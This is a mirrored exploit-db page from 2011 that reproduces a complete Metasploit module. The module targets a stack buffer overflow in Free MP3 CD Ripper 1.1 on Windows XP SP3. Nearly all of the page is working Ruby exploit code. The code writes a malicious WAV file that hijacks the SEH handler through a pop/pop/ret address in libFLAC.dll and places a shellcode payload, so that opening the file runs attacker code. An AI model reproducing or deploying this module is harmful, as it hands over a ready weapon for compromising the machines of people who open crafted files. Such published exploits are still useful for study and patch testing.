Free MP3 CD Ripper 1.1 – ‘.wav’ Local Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-11-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18142/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::FILEFORMAT
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',
    			'Description'=> %q{ 
    					This module exploits a stack based buffer overflow found in Free MP3 CD
    				Ripper 1.1.The overflow is triggered when an unsuspecting user opens a malicious
    				WAV file.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Richard Leahy',# Initial discovery
    					'X-h4ck', # msf module is based on his poc
    					'Tiago Henriques',# msf module
    					'James Fitts' # clean ups
    				],
    			'References' =>
    				[
    					[ 'OSVDB', '63349' ],
    					[ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure
    					[ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'DisablePayloadHandler' => 'true',
    				},
    			'Payload'=>
    				{
    					'BadChars' => "\x00\x0a\x0d\x20",
    					'StackAdjustment' => -3500,
    					'DisableNops' => 'True',
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 
    						'Windows XP SP3 EN',
    						{ 
    							'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
    							'Offset' => 4116
    						} 
    					],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Aug 27 2011',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('FILENAME', [ true, 'The file name.','msf.wav']),
    			], self.class)
    	end
    
    	def exploit
    
    		wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
    		wav << payload.encoded
    		wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
    		wav << generate_seh_record(target.ret)
    		wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
    		wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string
    
    		print_status("Creating '#{datastore['FILENAME']}' file ...")
    
    		file_create(wav)
    
    	end
    
    end